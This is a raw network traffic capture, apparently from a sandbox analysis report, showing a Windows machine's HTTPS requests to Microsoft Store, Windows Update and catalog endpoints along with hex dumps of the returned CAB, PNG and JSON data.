61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

107 192.168.2.3 49934 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:55 UTC 10510 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=90a9351948c94419823b21a4fcd3b2c1&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=96a00e7ca670484394eddd41299265ad&time=20220513T234200Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:42:55 UTC 10546 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: eaf6aee7-afad-4b73-b8c0-c5b66e4ecd9d
Date: Fri, 13 May 2022 14:42:55 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

108 192.168.2.3 49935 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:55 UTC 10546 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=90a9351948c94419823b21a4fcd3b2c1&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=96a00e7ca670484394eddd41299265ad&time=20220513T234203Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:42:55 UTC 10547 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 7750eb38-28ed-4808-bee9-35efc383958c
Date: Fri, 13 May 2022 14:42:55 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

109 192.168.2.3 49936 20.54.89.106 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:56 UTC 10547 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=52mu3Ytu1dbNXNh&MD=xY6EXTMt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-13 14:42:56 UTC 10548 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: d0e8b20a-34f5-4dd8-b058-70970770c520
MS-RequestId: 2adf9961-7646-46db-9241-6106dc4b93a7
MS-CV: NDJM7h5120aPB5bw.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 13 May 2022 14:42:55 GMT
Connection: close
Content-Length: 35877

2022-05-13 14:42:56 UTC 10549 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-13 14:42:56 UTC 10564 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-13 14:42:56 UTC 10580 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Session ID Source IP Source Port Destination IP
Destination
Port

Process

11 192.168.2.3 49713 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:39:58 UTC 103 OUT GET /image/apps.49525.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.2f6b9bdf-a4fc-42d8-aea0-
65c437755b78?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:39:58 UTC 120 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 5777
Content-Type: image/png
Last-Modified: Tue, 31 Mar 2020 18:42:54 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdENUEzNTJCQjJGM0E"
MS-CV: sE5KrZztTESl/Nvr.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:39:58 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:39:58 UTC 120 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
16 58 49 44 41 54 78 da ed 9d 0b 98 14 d5 95 c7 4f 55 77 cf 7b 98 27 30 03 0c 32 c0 3c 18 90 a7 02 22 2a 88 1a 5f 49 4c 
76 e5 e9 aa c9 ae df ba 8b 49 24 a2 0b 7c 01 8c 51 3f 13 35 2a 2a ba 26 ab 44 57 d7 90 20 a0 e8 b2 20 a2 2c a0 3c 8d 
b0 40 90 37 01 86 d7 cc 30 d3 33 d3 ef 5b 5b 55 53 d5 73 eb d6 bd 55 d5 f8 98 ae ee 7b f9 ee d7 5d d3 35 35 dd 75 7f fd 
3f ff 73 4e 75 23 02 1f 7c 5c c4 10 f9 29 e0 83 83 c3 07 07 87 0f 0e 0e 1f 1c 1c 3e f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 07 87 
0f 0e 0e 1f 7c 70 70 f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 07 87 0f 3e 38 38 7c 70 70 f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 3e 04 9b 
c9 c1 e1 83 0a ca d7 bd 3f 07 27 45 61 f9 ba 8e c5 c1 49 
Data Ascii: PNGIHDR0XIDATxOUw{'02<"*_ILvI$|Q?5**&DW  ,<@703[[USsU{]55u?sNu#|\)>|pp>88|pp>?'EaI

Session ID Source IP Source Port Destination IP
Destination
Port

Process

110 192.168.2.3 49937 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:56 UTC 10547 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=90a9351948c94419823b21a4fcd3b2c1&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=96a00e7ca670484394eddd41299265ad&time=20220513T234204Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:42:56 UTC 10548 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: ecb33c8b-0fa0-4a34-9930-3876ea06ee2f
Date: Fri, 13 May 2022 14:42:56 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

111 192.168.2.3 49938 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:56 UTC 10584 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=90a9351948c94419823b21a4fcd3b2c1&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=96a00e7ca670484394eddd41299265ad&time=20220513T234205Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:42:56 UTC 10584 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 64b858b0-2249-42e7-97d9-f9599c881f9f
Date: Fri, 13 May 2022 14:42:55 GMT
Connection: close
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

112 192.168.2.3 49940 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:56 UTC 10585 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=90a9351948c94419823b21a4fcd3b2c1&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=96a00e7ca670484394eddd41299265ad&time=20220513T234206Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:42:56 UTC 10585 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 762672ab-ec5a-497d-b31e-3fe6562f13fc
Date: Fri, 13 May 2022 14:42:55 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

113 192.168.2.3 49939 52.152.110.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:56 UTC 10585 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=52mu3Ytu1dbNXNh&MD=xY6EXTMt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-13 14:42:57 UTC 10586 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 10858461-23e0-4237-8853-da7624c7199f
MS-RequestId: 08d7bac7-a9f6-4912-8dce-d2e476e7e8ac
MS-CV: ewh8LknoW02bN9NO.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 13 May 2022 14:42:56 GMT
Connection: close
Content-Length: 35877

2022-05-13 14:42:57 UTC 10587 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-13 14:42:57 UTC 10602 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-13 14:42:57 UTC 10618 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

114 192.168.2.3 49941 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:56 UTC 10586 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=90a9351948c94419823b21a4fcd3b2c1&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=96a00e7ca670484394eddd41299265ad&time=20220513T234206Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:42:56 UTC 10586 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 24b19352-2bdf-4430-a69f-6e37a4786ac0
Date: Fri, 13 May 2022 14:42:56 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

115 192.168.2.3 49942 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:57 UTC 10622 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=90a9351948c94419823b21a4fcd3b2c1&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9N0866FS04W8&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=96a00e7ca670484394eddd41299265ad&time=20220513T234207Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:42:57 UTC 10623 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 2875bfa6-7684-43fd-af0d-b9aa8263a0ad
Date: Fri, 13 May 2022 14:42:56 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

116 192.168.2.3 49944 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:57 UTC 10623 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=90a9351948c94419823b21a4fcd3b2c1&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRFJ10M&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=96a00e7ca670484394eddd41299265ad&time=20220513T234211Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:42:57 UTC 10624 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: f7d6f164-33be-4018-b5a7-c0cfa3427e7e
Date: Fri, 13 May 2022 14:42:57 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

117 192.168.2.3 49943 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:42:57 UTC 10623 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=SpotifyAB.SpotifyMusic_zpdnekdrzrea0&m
arket=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public 
HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: a+aDGy4QZUmT9frB.0.2.4
Host: displaycatalog.mp.microsoft.com

2022-05-13 14:42:57 UTC 10624 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 13 May 2022 14:42:56 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: e6830523-8b4f-4c71-ab54-aafddb93f7e0
MS-RequestId: be172831-23ba-4de5-9014-4e0c018fbc17
MS-CV: a+aDGy4QZUmT9frB.0.2.4.888069913.0.1.888069914.1052165443.0
X-Content-Type-Options: nosniff
MS-ServerId: 5cdc8-2d7gh
Region: neu
Node: aks-bigcatrpns-32351330-vmss000023
MS-DocumentVersions: 9NCBCSZSJRSB|4067

2022-05-13 14:42:57 UTC 10624 IN Data Raw: 36 66 33 62 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 4e 43 42 43 53 5a 53 4a 52 53 42 22 5d 2c 22 48 
61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 35 2d 31 33 54 30 39 3a 35 39 3a 31 38 2e 35 39 34 34 30 37 
34 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 
22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 33 34 36 39 30 34 31 39 33 32 30 
39 39 33 37 31 39 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 31 65 64 37 36 30 22 2c 
Data Ascii: 6f3b{"BigIds":["9NCBCSZSJRSB"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-05-13T09
:59:18.5944074Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3034690419320993719","EISListingIdentifier
":null,"BackgroundColor":"#1ed760",

2022-05-13 14:42:57 UTC 10628 IN Data Raw: 38 31 66 2d 34 39 32 63 2d 62 31 34 38 2d 62 32 63 65 38 31 36 34 39 34 38 30 2e 64 30 38 35 39 36 63 36 
2d 65 36 62 36 2d 34 38 62 33 2d 38 66 63 39 2d 39 35 39 36 38 35 63 30 34 66 30 31 22 2c 22 57 69 64 74 68 22 3a 33 
31 30 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 31 38 38 34 33 37 33 37 33 30 32 37 32 32 38 35 34 22 2c 22 45 49 
53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 
72 22 3a 22 23 31 65 64 37 36 30 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 
74 65 73 22 3a 31 32 37 30 35 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 
3a 34 36 35 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 
Data Ascii: 81f-492c-b148-b2ce81649480.d08596c6-e6b6-48b3-8fc9-959685c04f01","Width":310},{"FileId":"301884373
7302722854","EISListingIdentifier":null,"BackgroundColor":"#1ed760","Caption":"","FileSizeInBytes":12705,"Fore
groundColor":"","Height":465,"ImagePositionInfo

2022-05-13 14:42:57 UTC 10632 IN Data Raw: 64 43 6f 6c 6f 72 22 3a 22 23 31 65 64 37 36 30 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 
53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 35 30 36 38 33 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 
2c 22 48 65 69 67 68 74 22 3a 37 36 38 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 44 65 73 6b 74 
6f 70 2f 32 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 53 63 72 65 65 6e 73 68 6f 74 22 2c 22 55 6e 73 63 61 
